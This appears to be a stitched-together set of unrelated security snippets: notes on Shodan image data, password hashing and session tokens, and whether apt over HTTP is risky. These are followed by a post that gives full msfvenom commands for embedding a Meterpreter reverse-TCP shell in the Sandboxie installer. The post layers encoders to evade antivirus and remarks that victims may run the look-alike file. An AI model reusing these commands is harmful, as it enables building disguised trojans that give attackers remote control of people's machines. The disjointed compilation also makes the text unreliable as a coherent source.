The data property is a base64-encoded string of the image. The hash is a numeric hash of the data property (useful for finding duplicate images). The labels are high-level classifications of the image based on machine learning. The mime is the MIME-type of the image (we mostly use JPEG at the moment but it could change). And text is the text in the image that was extracted using OCR.
And most images are actually of remote desktops. Around 75% of images on Shodan at the moment are of remote desktops. Webcams on HTTP are a comparatively small at ~8% and RTSP takes most of the remainder. We also look at X11 and VNC but those are a tiny fraction of the images.


PBKDF2 and other key stretching algorithms are meant to be slow and take the same amount of time whether the input password is correct or incorrect.
To reduce computational load and latency for your user, the API should authenticate once via login credentials and issue a revokable or time-limited session token that is verified by a simple lookup.


ubuntu sources.list urls are not HTTPS -- what risk does this present, if any?

apt (and other package managers) uses digital signatures to verify the authenticity of packages after downloading them. If a MITM modifies a package in transit, you get an error since the check fails. See https://help.ubuntu.com/community/SecureApt

Apt-get package management uses public key cryptography to authenticate downloaded packages.

Using HTTPS instead of HTTP hides some information from third parties, though. See https://manpages.ubuntu.com/manpages/focal/man1/apt-transport-https.1.html

A sufficiently capable attacker can still observe the communication partners and deeper analysis of the encrypted communication might still reveal important details.


As we know encoding does not help too much in evading AV but I got some interesting result after trying few things and if we know the AV name on the victim machine we can try our luck with this method.

Method one :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.163 LPORT=12345 -x /root/Downloads/SandboxieInstall.exe -k -e x86/shikata_ga_nai -i 10 -f exe > encodedsandbox.exe

I used Sandboxie for this method and it converted 9MB file to 17.9MB file. Then uploaded it on VirusTotal.

From the screenshot you can see AV like Avast, eScan, ESET were able to scan it as a trojan. However, only few AV did not detect it as shown below.

Now comes the second method which I asked in the question i.e "Encode an executable file multiple time using MSF venom".Finally, I was able to implement it and found more exciting result.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.163 LPORT=12345 -e x86/shikata_ga_nai -i 10 -f raw > eoncode.bin

msfvenom -p - -x /root/Downloads/SandboxieInstall.exe -k -f exe -a x86 --platform windows -e x86/bloxor -i 2 > sanbox.exe < eoncode.bin

The syntax is a bit different from what I mentioned above in the question but it worked. The final file which it generated was of 17.9MB only same as the previous file. The new file generated will act as same as original software due to "-k" flag and result from VirusTotal was same as previous but I was successful in what I was trying to implement. If we remove "-k" flag from the last syntax it will generate the exe file of 9MB and icon will be same as original software i.e Sandboxie but it will loose it's original functionality (after opening the file nothing will happen as we removed "-k" flag,since it has same size as original file ps icon also looks the same people may run it). But when I uploaded it on VirusTotal found some interesting result as shown below.

Which is just opposite of above result.